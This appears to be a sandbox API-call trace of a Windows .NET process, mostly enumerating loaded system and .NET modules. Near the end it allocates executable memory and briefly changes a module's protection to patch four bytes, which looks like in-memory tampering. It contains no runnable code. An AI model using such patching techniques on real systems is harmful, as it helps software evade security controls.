[0274.329] CoTaskMemFree (pv=0xd7fb50) [0274.329] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.329] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x73fb0000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\gdi32full.dll" (normalized: "c:\\windows\\system32\\gdi32full.dll")) returned 0x21 [0274.329] CoTaskMemFree (pv=0xd7fb50) [0274.329] GetModuleInformation (in: hProcess=0xec, hModule=0x74110000, lpmodinfo=0x2f5d308, cb=0xc | out: lpmodinfo=0x2f5d308*(lpBaseOfDll=0x74110000, SizeOfImage=0x79000, EntryPoint=0x74124180)) returned 1 [0274.329] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.329] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x74110000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="msvcp_win.dll") returned 0xd [0274.329] CoTaskMemFree (pv=0xd7fb50) [0274.329] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.329] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x74110000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\msvcp_win.dll" (normalized: "c:\\windows\\system32\\msvcp_win.dll")) returned 0x21 [0274.329] CoTaskMemFree (pv=0xd7fb50) [0274.329] GetModuleInformation (in: hProcess=0xec, hModule=0x765c0000, lpmodinfo=0x2f5f41c, cb=0xc | out: lpmodinfo=0x2f5f41c*(lpBaseOfDll=0x765c0000, SizeOfImage=0x13c000, EntryPoint=0x765eb3d0)) returned 1 [0274.329] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.329] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x765c0000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0274.330] CoTaskMemFree (pv=0xd7fb50) [0274.330] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.330] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x765c0000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\USER32.dll" (normalized: "c:\\windows\\system32\\user32.dll")) returned 0x1e [0274.330] CoTaskMemFree (pv=0xd7fb50) [0274.330] GetModuleInformation (in: hProcess=0xec, hModule=0x75230000, lpmodinfo=0x2f615b4, cb=0xc | out: lpmodinfo=0x2f615b4*(lpBaseOfDll=0x75230000, SizeOfImage=0x16000, EntryPoint=0x0)) returned 1 [0274.330] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.330] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x75230000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="win32u.dll") returned 0xa [0274.330] CoTaskMemFree (pv=0xd7fb50) [0274.330] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.330] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x75230000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\win32u.dll" (normalized: "c:\\windows\\system32\\win32u.dll")) returned 0x1e [0274.330] CoTaskMemFree (pv=0xd7fb50) [0274.331] GetModuleInformation (in: hProcess=0xec, hModule=0x74e00000, lpmodinfo=0x2f636c0, cb=0xc | out: lpmodinfo=0x2f636c0*(lpBaseOfDll=0x74e00000, SizeOfImage=0x96000, EntryPoint=0x74e38f60)) returned 1 [0274.331] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.331] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x74e00000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0274.331] CoTaskMemFree (pv=0xd7fb50) [0274.331] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.331] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x74e00000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\OLEAUT32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")) returned 0x20 [0274.331] CoTaskMemFree (pv=0xd7fb50) [0274.331] GetModuleInformation (in: hProcess=0xec, hModule=0x73c70000, lpmodinfo=0x2f657d4, cb=0xc | out: lpmodinfo=0x2f657d4*(lpBaseOfDll=0x73c70000, SizeOfImage=0xf000, EntryPoint=0x73c72bd0)) returned 1 [0274.331] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.331] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x73c70000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="WTSAPI32.dll") returned 0xc [0274.331] CoTaskMemFree (pv=0xd7fb50) [0274.331] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.331] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x73c70000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\WTSAPI32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")) returned 0x20 [0274.331] CoTaskMemFree (pv=0xd7fb50) [0274.332] GetModuleInformation (in: hProcess=0xec, hModule=0x76cb0000, lpmodinfo=0x2f678e8, cb=0xc | out: lpmodinfo=0x2f678e8*(lpBaseOfDll=0x76cb0000, SizeOfImage=0xbd000, EntryPoint=0x76ce55e0)) returned 1 [0274.332] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.332] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x76cb0000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0274.332] CoTaskMemFree (pv=0xd7fb50) [0274.332] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.332] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x76cb0000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")) returned 0x1e [0274.332] CoTaskMemFree (pv=0xd7fb50) [0274.332] GetModuleInformation (in: hProcess=0xec, hModule=0x76b20000, lpmodinfo=0x2f699f4, cb=0xc | out: lpmodinfo=0x2f699f4*(lpBaseOfDll=0x76b20000, SizeOfImage=0x25000, EntryPoint=0x76b247d0)) returned 1 [0274.332] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.332] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x76b20000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0274.332] CoTaskMemFree (pv=0xd7fb50) [0274.332] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.332] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x76b20000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0274.332] CoTaskMemFree (pv=0xd7fb50) [0274.333] GetModuleInformation (in: hProcess=0xec, hModule=0x76b50000, lpmodinfo=0x2f6baf8, cb=0xc | out: lpmodinfo=0x2f6baf8*(lpBaseOfDll=0x76b50000, SizeOfImage=0xe000, EntryPoint=0x76b53e30)) returned 1 [0274.333] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.333] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x76b50000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="kernel.appcore.dll") returned 0x12 [0274.333] CoTaskMemFree (pv=0xd7fb50) [0274.333] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.333] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x76b50000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll")) returned 0x26 [0274.333] CoTaskMemFree (pv=0xd7fb50) [0274.333] GetModuleInformation (in: hProcess=0xec, hModule=0x73bf0000, lpmodinfo=0x2f6dc24, cb=0xc | out: lpmodinfo=0x2f6dc24*(lpBaseOfDll=0x73bf0000, SizeOfImage=0x78000, EntryPoint=0x73c285b0)) returned 1 [0274.333] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.333] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x73bf0000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0274.333] CoTaskMemFree (pv=0xd7fb50) [0274.333] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.333] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x73bf0000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0274.333] CoTaskMemFree (pv=0xd7fb50) [0274.334] GetModuleInformation (in: hProcess=0xec, hModule=0x73b90000, lpmodinfo=0x2f6fd30, cb=0xc | out: lpmodinfo=0x2f6fd30*(lpBaseOfDll=0x73b90000, SizeOfImage=0x55000, EntryPoint=0x73bc0a30)) returned 1 [0274.334] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.334] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x73b90000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="mscoree.dll") returned 0xb [0274.334] CoTaskMemFree (pv=0xd7fb50) [0274.334] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.334] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x73b90000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0274.334] CoTaskMemFree (pv=0xd7fb50) [0274.334] GetModuleInformation (in: hProcess=0xec, hModule=0x74d30000, lpmodinfo=0x2f71e3c, cb=0xc | out: lpmodinfo=0x2f71e3c*(lpBaseOfDll=0x74d30000, SizeOfImage=0x77000, EntryPoint=0x74d4e5b0)) returned 1 [0274.334] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.334] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x74d30000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0274.335] CoTaskMemFree (pv=0xd7fb50) [0274.335] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.335] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x74d30000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\ADVAPI32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")) returned 0x20 [0274.335] CoTaskMemFree (pv=0xd7fb50) [0274.335] GetModuleInformation (in: hProcess=0xec, hModule=0x73b10000, lpmodinfo=0x2f73f50, cb=0xc | out: lpmodinfo=0x2f73f50*(lpBaseOfDll=0x73b10000, SizeOfImage=0x7d000, EntryPoint=0x73b13c80)) returned 1 [0274.335] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.335] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x73b10000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0274.335] CoTaskMemFree (pv=0xd7fb50) [0274.335] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.335] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x73b10000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0274.335] CoTaskMemFree (pv=0xd7fb50) [0274.335] GetModuleInformation (in: hProcess=0xec, hModule=0x73420000, lpmodinfo=0x2f76098, cb=0xc | out: lpmodinfo=0x2f76098*(lpBaseOfDll=0x73420000, SizeOfImage=0x6e6000, EntryPoint=0x734383d0)) returned 1 [0274.336] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.336] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x73420000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="clr.dll") returned 0x7 [0274.336] CoTaskMemFree (pv=0xd7fb50) [0274.336] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.336] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x73420000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll")) returned 0x35 [0274.336] CoTaskMemFree (pv=0xd7fb50) [0274.336] GetModuleInformation (in: hProcess=0xec, hModule=0x73320000, lpmodinfo=0x2f781c8, cb=0xc | out: lpmodinfo=0x2f781c8*(lpBaseOfDll=0x73320000, SizeOfImage=0xf5000, EntryPoint=0x73374180)) returned 1 [0274.336] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.336] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x73320000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0274.336] CoTaskMemFree (pv=0xd7fb50) [0274.336] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.336] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x73320000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\MSVCR120_CLR0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll")) returned 0x28 [0274.337] CoTaskMemFree (pv=0xd7fb50) [0274.337] GetModuleInformation (in: hProcess=0xec, hModule=0x74fa0000, lpmodinfo=0x2f7a2fc, cb=0xc | out: lpmodinfo=0x2f7a2fc*(lpBaseOfDll=0x74fa0000, SizeOfImage=0x45000, EntryPoint=0x74fb9260)) returned 1 [0274.337] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.337] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x74fa0000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0274.337] CoTaskMemFree (pv=0xd7fb50) [0274.337] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.337] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x74fa0000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\SHLWAPI.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")) returned 0x1f [0274.337] CoTaskMemFree (pv=0xd7fb50) [0274.337] GetModuleInformation (in: hProcess=0xec, hModule=0x71f90000, lpmodinfo=0x2f7c408, cb=0xc | out: lpmodinfo=0x2f7c408*(lpBaseOfDll=0x71f90000, SizeOfImage=0x138d000, EntryPoint=0x0)) returned 1 [0274.337] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.337] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x71f90000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0274.337] CoTaskMemFree (pv=0xd7fb50) [0274.337] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.338] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x71f90000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\f12799647dc4f4abd2f0f17790337f04\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\f12799647dc4f4abd2f0f17790337f04\\mscorlib.ni.dll")) returned 0x68 [0274.338] CoTaskMemFree (pv=0xd7fb50) [0274.338] GetModuleInformation (in: hProcess=0xec, hModule=0x71f70000, lpmodinfo=0x2f7e5b0, cb=0xc | out: lpmodinfo=0x2f7e5b0*(lpBaseOfDll=0x71f70000, SizeOfImage=0x13000, EntryPoint=0x71f76c40)) returned 1 [0274.338] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.338] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x71f70000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0274.338] CoTaskMemFree (pv=0xd7fb50) [0274.338] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.338] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x71f70000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0274.338] CoTaskMemFree (pv=0xd7fb50) [0274.338] GetModuleInformation (in: hProcess=0xec, hModule=0x71f40000, lpmodinfo=0x2f806bc, cb=0xc | out: lpmodinfo=0x2f806bc*(lpBaseOfDll=0x71f40000, SizeOfImage=0x2f000, EntryPoint=0x71f4c000)) returned 1 [0274.338] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.338] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x71f40000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0274.339] CoTaskMemFree (pv=0xd7fb50) [0274.339] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.339] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x71f40000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0274.339] CoTaskMemFree (pv=0xd7fb50) [0274.339] GetModuleInformation (in: hProcess=0xec, hModule=0x71f20000, lpmodinfo=0x2f828d4, cb=0xc | out: lpmodinfo=0x2f828d4*(lpBaseOfDll=0x71f20000, SizeOfImage=0x18000, EntryPoint=0x71f28f30)) returned 1 [0274.339] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.339] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x71f20000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="bcrypt.dll") returned 0xa [0274.339] CoTaskMemFree (pv=0xd7fb50) [0274.339] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.339] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x71f20000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")) returned 0x1e [0274.339] CoTaskMemFree (pv=0xd7fb50) [0274.339] GetModuleInformation (in: hProcess=0xec, hModule=0x71ea0000, lpmodinfo=0x2f849e0, cb=0xc | out: lpmodinfo=0x2f849e0*(lpBaseOfDll=0x71ea0000, SizeOfImage=0x80000, EntryPoint=0x71ea1180)) returned 1 [0274.340] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.340] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x71ea0000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="clrjit.dll") returned 0xa [0274.340] CoTaskMemFree (pv=0xd7fb50) [0274.340] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.340] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x71ea0000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")) returned 0x38 [0274.340] CoTaskMemFree (pv=0xd7fb50) [0274.340] GetModuleInformation (in: hProcess=0xec, hModule=0x714c0000, lpmodinfo=0x2f86b20, cb=0xc | out: lpmodinfo=0x2f86b20*(lpBaseOfDll=0x714c0000, SizeOfImage=0x9df000, EntryPoint=0x0)) returned 1 [0274.340] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.340] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x714c0000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0274.340] CoTaskMemFree (pv=0xd7fb50) [0274.340] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.340] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x714c0000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\assembly\\NativeImages_v4.0.30319_32\\System\\fcfb8bac8ea9a0e69d72c350b22f8e3f\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\fcfb8bac8ea9a0e69d72c350b22f8e3f\\system.ni.dll")) returned 0x64 [0274.341] CoTaskMemFree (pv=0xd7fb50) [0274.341] GetModuleInformation (in: hProcess=0xec, hModule=0x71320000, lpmodinfo=0x2f88cbc, cb=0xc | out: lpmodinfo=0x2f88cbc*(lpBaseOfDll=0x71320000, SizeOfImage=0x194000, EntryPoint=0x0)) returned 1 [0274.341] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.341] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x71320000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0274.341] CoTaskMemFree (pv=0xd7fb50) [0274.341] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.341] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x71320000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\5b307e2b9719b21749a8c73127ab5f45\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\5b307e2b9719b21749a8c73127ab5f45\\system.drawing.ni.dll")) returned 0x74 [0274.341] CoTaskMemFree (pv=0xd7fb50) [0274.341] GetModuleInformation (in: hProcess=0xec, hModule=0x70620000, lpmodinfo=0x2f8ae88, cb=0xc | out: lpmodinfo=0x2f8ae88*(lpBaseOfDll=0x70620000, SizeOfImage=0xcf2000, EntryPoint=0x0)) returned 1 [0274.341] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.341] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x70620000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0274.341] CoTaskMemFree (pv=0xd7fb50) [0274.341] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.341] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x70620000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\02d3b6022cc1ee466eb660dedcff59aa\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\02d3b6022cc1ee466eb660dedcff59aa\\system.windows.forms.ni.dll")) returned 0x80 [0274.342] CoTaskMemFree (pv=0xd7fb50) [0274.342] GetModuleInformation (in: hProcess=0xec, hModule=0x742b0000, lpmodinfo=0x2f8d078, cb=0xc | out: lpmodinfo=0x2f8d078*(lpBaseOfDll=0x742b0000, SizeOfImage=0x6000, EntryPoint=0x742b1460)) returned 1 [0274.342] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.342] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x742b0000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0274.342] CoTaskMemFree (pv=0xd7fb50) [0274.342] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.342] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x742b0000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll")) returned 0x1d [0274.342] CoTaskMemFree (pv=0xd7fb50) [0274.342] GetModuleInformation (in: hProcess=0xec, hModule=0x70610000, lpmodinfo=0x2f8f17c, cb=0xc | out: lpmodinfo=0x2f8f17c*(lpBaseOfDll=0x70610000, SizeOfImage=0x8000, EntryPoint=0x706117c0)) returned 1 [0274.342] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.342] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x70610000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="version.dll") returned 0xb [0274.342] CoTaskMemFree (pv=0xd7fb50) [0274.342] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0274.343] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x70610000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0274.343] CoTaskMemFree (pv=0xd7fb50) [0274.343] CloseHandle (hObject=0xec) returned 1 [0274.430] CoTaskMemAlloc (cb=0x1) returned 0xd7b758 [0274.495] VirtualAlloc (lpAddress=0x0, dwSize=0x1e, flAllocationType=0x1000, flProtect=0x40) returned 0x2e80000 [0274.496] VirtualProtect (in: lpAddress=0x71f11410, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x19e478 | out: lpflOldProtect=0x19e478*=0x2) returned 1 [0274.496] GetCurrentProcess () returned 0xffffffff [0274.498] VirtualProtect (in: lpAddress=0x71f11410, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x19e478 | out: lpflOldProtect=0x19e478*=0x40) returned 1 [0274.499] GetCurrentProcess () returned 0xffffffff [0274.575] CoTaskMemAlloc (cb=0x6) returned 0xd7b798 [0274.578] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", nBufferLength=0x105, lpBuffer=0x19e930, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", lpFilePart=0x0) returned 0x77 [0274.586] IsAppThemed () returned 0x1 [0274.588] GetCurrentProcess () returned 0xffffffff [0274.589] GetCurrentProcess () returned 0xffffffff [0274.589] CoTaskMemAlloc (cb=0xf0) returned 0xd81ab8 [0274.589] CreateActCtxA (pActCtx=0x19ee80) Thread: id = 39 os_tid = 0xe24 [0272.075] GetCurrentProcess () returned 0xffffffff [0272.075] GetCurrentProcess () returned 0xffffffff [0272.076] GetCurrentProcess () returned 0xffffffff [0272.077] GetCurrentProcess () returned 0xffffffff Thread: id = 40 os_tid = 0xe2c Thread: id = 41 os_tid = 0xe30 [0272.402] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0272.402] RoInitialize () returned 0x1 [0272.402] RoUninitialize () returned 0x0